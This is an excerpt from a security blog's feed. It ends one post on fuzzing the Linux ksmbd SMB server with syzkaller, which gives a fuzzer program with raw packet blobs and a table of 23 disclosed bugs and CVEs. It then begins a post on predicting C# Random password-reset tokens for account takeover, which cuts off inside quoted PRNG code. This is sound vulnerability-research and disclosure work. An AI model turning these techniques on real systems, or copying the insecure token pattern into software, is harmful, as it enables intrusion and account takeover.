syz_ksmbd_send_req(&amp;amp;(0x7f0000000200)={0x58, @smb2_oplock_break_req={{}, 0x12, {0x1, 0x0, 0x0, 0x9, 0x0, 0x1, 0x1, &quot;3c66dd1fe856ec397e7f8d7c8c293fd6&quot;}, 0x24}}, 0x5c, &amp;amp;(0x7f0000000000)=ANY=[@ANYBLOB=&quot;00000080fe534d424000010000000000050001000800000000000000040000000000000000000000010000000100000000000000b31fae29f7ea148ad156304f457214a539000000020000000000000000000000000000000000000000000002&quot;], 0x84, &amp;amp;(0x7f0000000100)=ANY=[@ANYBLOB=&quot;00000062fe534d4240000000000000000e00010000000000000000000700000000000000000000000100000001000000000000000002000000ffff0000000000000000002100030a08000000040000000000000000000000000000006000020009000000aedf&quot;], 0x66, 0x0, 0x0) (async)
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Observe the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async&lt;/code&gt; keyword automatically added during the fuzzing process, which allows running commands in parallel without blocking, implemented in this commit &lt;a href=&quot;https://github.com/google/syzkaller/commit/fd8caa5462e64f37cb9eebd75ffca1737dde447d&quot;&gt;fd8caa5&lt;/a&gt;. Hence, no UAF was missed due to the seemingly absent parallelism.&lt;/p&gt;

&lt;p&gt;In the end, based on syzkaller’s benchmark, we executed 20-30 processes per second in 20 VMs, which still potentially meant running several hundred commands. For reference, we used a server with an average configuration - nothing particularly optimized for fuzzing performance.&lt;/p&gt;

&lt;p&gt;We measured coverage using syzkaller’s built-in function-level metrics. While we’re aware that this does not capture state transitions, which are critical in a protocol like SMB, it still provides a useful approximation of code exercised. Overall, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs/smb/server&lt;/code&gt; directory reached around 60%. For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2pdu.c&lt;/code&gt; specifically, which handles most SMB command parsing and dispatch, we reached 70%.&lt;/p&gt;

&lt;p&gt;The screenshot below shows coverage across key files.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;../../../public/images/ksmbd_coverage.png&quot; alt=&quot;KSMBD Coverage&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;&lt;/center&gt;

&lt;h2 id=&quot;discovered-bugs&quot;&gt;Discovered Bugs&lt;/h2&gt;

&lt;p&gt;During our research period, &lt;strong&gt;we reported a grand total of 23 bugs&lt;/strong&gt;. The majority of the bugs are use-after-frees or out-of-bounds read or write findings. Given this quantity, it is natural that the impact differs. For instance, &lt;em&gt;fix the warning from __kernel_write_iter&lt;/em&gt; is a simple warning that could only be used for DoS in a specific setup (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel.panic_on_warn&lt;/code&gt;), &lt;em&gt;validate zero num_subauth before sub_auth is accessed&lt;/em&gt; is a simple out-of-bounds 1-byte read, and &lt;em&gt;prevent rename with empty string&lt;/em&gt; will only cause a kernel oops.&lt;/p&gt;

&lt;p&gt;There are additional issues where exploitability requires more thoughtful analysis (e.g., &lt;em&gt;fix type confusion via race condition when using ipc_msg_send_request&lt;/em&gt;). Nevertheless, after evaluating potentially promising candidates, we were able to identify some powerful primitives, allowing an attacker to exploit the finding at least locally to gain remote code execution.&lt;/p&gt;

&lt;p&gt;The list of the issues identified is reported hereby:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Description&lt;/th&gt;
      &lt;th&gt;Commit&lt;/th&gt;
      &lt;th&gt;CVE&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;prevent out-of-bounds stream writes by validating *pos&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/0ca6df4f40cf4c32487944aaf48319cb6c25accc&quot;&gt;0ca6df4&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025052059-CVE-2025-37947-8c07@gregkh/&quot;&gt;CVE-2025-37947&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;prevent rename with empty string&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/53e3e5babc0963a92d856a5ec0ce92c59f54bc12&quot;&gt;53e3e5b&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025052002-CVE-2025-37956-a6aa@gregkh/&quot;&gt;CVE-2025-37956&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix use-after-free in ksmbd_session_rpc_open&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/a1f46c99d9ea411f9bf30025b912d881d36fc709&quot;&gt;a1f46c9&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025052004-CVE-2025-37926-cf39@gregkh/&quot;&gt;CVE-2025-37926&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix the warning from __kernel_write_iter&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/b37f2f332b40ad1c27f18682a495850f2f04db0a&quot;&gt;b37f2f3&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025050115-CVE-2025-37775-296d@gregkh/&quot;&gt;CVE-2025-37775&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix use-after-free in smb_break_all_levII_oplock()&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/18b4fac5ef17f77fed9417d22210ceafd6525fc7&quot;&gt;18b4fac&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025050115-CVE-2025-37776-9bfb@gregkh/&quot;&gt;CVE-2025-37776&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix use-after-free in __smb2_lease_break_noti()&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/21a4e47578d44c6b37c4fc4aba8ed7cc8dbb13de&quot;&gt;21a4e47&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025050115-CVE-2025-37777-886d@gregkh/&quot;&gt;CVE-2025-37777&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;validate zero num_subauth before sub_auth is accessed&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/bf21e29d78cd2c2371023953d9c82dfef82ebb36&quot;&gt;bf21e29&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025041659-CVE-2025-22038-1b5a@gregkh/&quot;&gt;CVE-2025-22038&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix overflow in dacloffset bounds check&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/beff0bc9d69bc8e733f9bca28e2d3df5b3e10e42&quot;&gt;beff0bc&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025041659-CVE-2025-22039-2a63@gregkh/&quot;&gt;CVE-2025-22039&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix use-after-free in ksmbd_sessions_deregister()&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/15a9605f8d69dc85005b1a00c31a050b8625e1aa&quot;&gt;15a9605&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025041600-CVE-2025-22041-6dbd@gregkh/&quot;&gt;CVE-2025-22041&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix r_count dec/increment mismatch&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/ddb7ea36ba7129c2ed107e2186591128618864e1&quot;&gt;ddb7ea3&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025041611-CVE-2025-22074-2c8b@gregkh/&quot;&gt;CVE-2025-22074&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;add bounds check for create lease context&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/bab703ed8472aa9d109c5f8c1863921533363dae&quot;&gt;bab703e&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025041600-CVE-2025-22042-2acc@gregkh/&quot;&gt;CVE-2025-22042&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;add bounds check for durable handle context&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/542027e123fc0bfd61dd59e21ae0ee4ef2101b29&quot;&gt;542027e&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025041600-CVE-2025-22043-a8b9@gregkh/&quot;&gt;CVE-2025-22043&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;prevent connection release during oplock break notification&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/3aa660c059240e0c795217182cf7df32909dd917&quot;&gt;3aa660c&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025040143-CVE-2025-21955-c393@gregkh/&quot;&gt;CVE-2025-21955&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix use-after-free in ksmbd_free_work_struct&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/bb39ed47065455604729404729d9116868638d31&quot;&gt;bb39ed4&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025040146-CVE-2025-21967-114e@gregkh/&quot;&gt;CVE-2025-21967&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix use-after-free in smb2_lock&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/84d2d1641b71dec326e8736a749b7ee76a9599fc&quot;&gt;84d2d16&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025040136-CVE-2025-21945-d791@gregkh/&quot;&gt;CVE-2025-21945&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix bug on trap in smb2_lock&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/e26e2d2e15daf1ab33e0135caf2304a0cfa2744b&quot;&gt;e26e2d2&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025040135-CVE-2025-21944-d6eb@gregkh/&quot;&gt;CVE-2025-21944&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix out-of-bounds in parse_sec_desc()&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/d6e13e19063db24f94b690159d0633aaf72a0f03&quot;&gt;d6e13e1&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025040136-CVE-2025-21946-63a2@gregkh/&quot;&gt;CVE-2025-21946&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix type confusion via race condition when using ipc_msg_send_req..&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/e2ff19f0b7a30e03516e6eb73b948e27a55bc9d2&quot;&gt;e2ff19f&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025040136-CVE-2025-21947-fcc5@gregkh/&quot;&gt;CVE-2025-21947&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;align aux_payload_buf to avoid OOB reads in cryptographic operati..&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/06a025448b572c3bd78dd23a31488a0907cd9512&quot;&gt;06a0254&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;check outstanding simultaneous SMB operations&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/0a77d947f599b1f39065015bec99390d0c0022ee&quot;&gt;0a77d94&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111946-CVE-2024-50285-6013@gregkh/&quot;&gt;CVE-2024-50285&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix slab-use-after-free in smb3_preauth_hash_rsp&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/b8fc56fbca7482c1e5c0e3351c6ae78982e25ada&quot;&gt;b8fc56f&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111944-CVE-2024-50283-3aad@gregkh/&quot;&gt;CVE-2024-50283&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix slab-use-after-free in ksmbd_smb2_session_create&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/c119f4ede3fa90a9463f50831761c28f989bfb20&quot;&gt;c119f4e&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111948-CVE-2024-50286-85e9@gregkh/&quot;&gt;CVE-2024-50286&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;fix slab-out-of-bounds in smb2_allocate_rsp_buf&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/torvalds/linux/commit/0a77715db22611df50b178374c51e2ba0d58866e&quot;&gt;0a77715&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024050141-CVE-2024-26980-4b16@gregkh/&quot;&gt;CVE-2024-26980&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Note that we are aware of the controversy around CVE assignment since the Linux kernel became a CVE Numbering Authority (CNA) in &lt;a href=&quot;https://lwn.net/Articles/961961/&quot;&gt;February 2024&lt;/a&gt;. My personal take is that, while there were many disputable cases, the current approach is pragmatic: CVEs are now assigned for fixes with potential security impact, particularly memory corruptions and other classes of bugs that could potentially be exploitable.&lt;/p&gt;

&lt;p&gt;For more information, the whole process is described in detail in this great &lt;a href=&quot;https://www.youtube.com/watch?v=Rg_VPMT0XXw&quot;&gt;presentation&lt;/a&gt;, or the relevant &lt;a href=&quot;https://lwn.net/Articles/978711/&quot;&gt;article&lt;/a&gt;. Lastly, the voting process for CVE approval is implemented in the &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/security/vulns.git&quot;&gt;vulns.git&lt;/a&gt; repository.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Our research yielded a few dozen bugs, although using pseudo-syscalls is generally discouraged and comes with several disadvantages. For instance, in all cases, we had to perform the triaging process manually by finding the relevant crash log entries, generating C programs, and minimizing them by hand.&lt;/p&gt;

&lt;p&gt;Since syscalls can be tied using &lt;a href=&quot;https://github.com/google/syzkaller/blob/master/docs/syscall_descriptions_syntax.md#resources&quot;&gt;resources&lt;/a&gt;, this method could also be applied to ksmbd, which involves sending packets. It would be ideal for future research to explore this direction - SMB commands could yield resources that are then fed into different commands. Due to time restrictions, we followed the pseudo-syscall approach, relying on custom patches.&lt;/p&gt;

&lt;p&gt;For the next and last part, we focus on exploiting &lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025052059-CVE-2025-37947-8c07@gregkh/&quot;&gt;CVE-2025-37947&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwning.tech/ksmbd-syzkaller/&quot;&gt;pwning tech - Tickling ksmbd: fuzzing SMB in the Linux kernel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/google/syzkaller&quot;&gt;https://github.com/google/syzkaller&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/mudongliang/1af0e5a2e60f6cefb2a1e976e45365d4&quot;&gt;Dongliang Mu - Some explanation of main syzkaller logic, execprog, syz-repro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Trivial C# Random Exploitation</title>
   <link href="https://blog.doyensec.com/2025/08/19/trivial-exploit-on-C-random.html"/>
   <updated>2025-08-19T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2025/08/19/trivial-exploit-on-C#-random</id>
   <content type="html">&lt;p&gt;Exploiting random number generators requires math, right? Thanks to C#’s
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;, that is not necessarily the case! I ran into an HTTP 2.0 web service
issuing password reset tokens from a custom encoding of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(new Random()).Next(min, max)&lt;/code&gt; output. 
This led to a critical account takeover.
Exploitation did not require scripting, math or libraries. Just several clicks
in Burp. While I had source code, I will show a method of discovering and
exploiting this vulnerability in a black-box or bug-bounty style engagement.&lt;/p&gt;

&lt;p&gt;The exploit uses no math, but I do like math. So, there is a bonus section on how to
optimize and invert &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-vulnerability&quot;&gt;The Vulnerability&lt;/h2&gt;

&lt;p&gt;I can’t share the client code, but it was something like this:&lt;/p&gt;

&lt;div class=&quot;language-cs highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;make_password_reset_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;save_reset_token_to_db&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;issue_password_reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This represents a typical password reset. The token is created using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random()&lt;/code&gt;, and there is no
seed. This gets encoded to an alphanumeric token. The token is sent to the user
in email. The user can then log in with their email and token.&lt;/p&gt;

&lt;p&gt;This may be trivially exploitable.&lt;/p&gt;

&lt;h2 id=&quot;how-the-c-prng-works&quot;&gt;How the C# PRNG Works&lt;/h2&gt;

&lt;p&gt;Somehow documentation linked me to the following reference implementation. This
is not the real implementation, but it’s good enough. Don’t get into
the weeds here, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random(int Seed)&lt;/code&gt; is only displayed for the sake of
context.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/referencesource/blob/f7df9e2399ecd273e90908ac11caf1433e142448/mscorlib/system/random.cs#L52-L82&quot;&gt;Git link&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;language-cs highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;      &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TickCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;//Initialize our Seed array.&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//This algorithm comes from Numerical Recipes in C (2nd Ed.)&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subtraction&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Seed&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MinValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MaxValue&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Abs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mj&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MSEED&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subtraction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [2]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;//Apparently the range [1..55] is special (Knuth) and so we're wasting the 0'th position.&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;ii&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)%&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;SeedArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mj&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
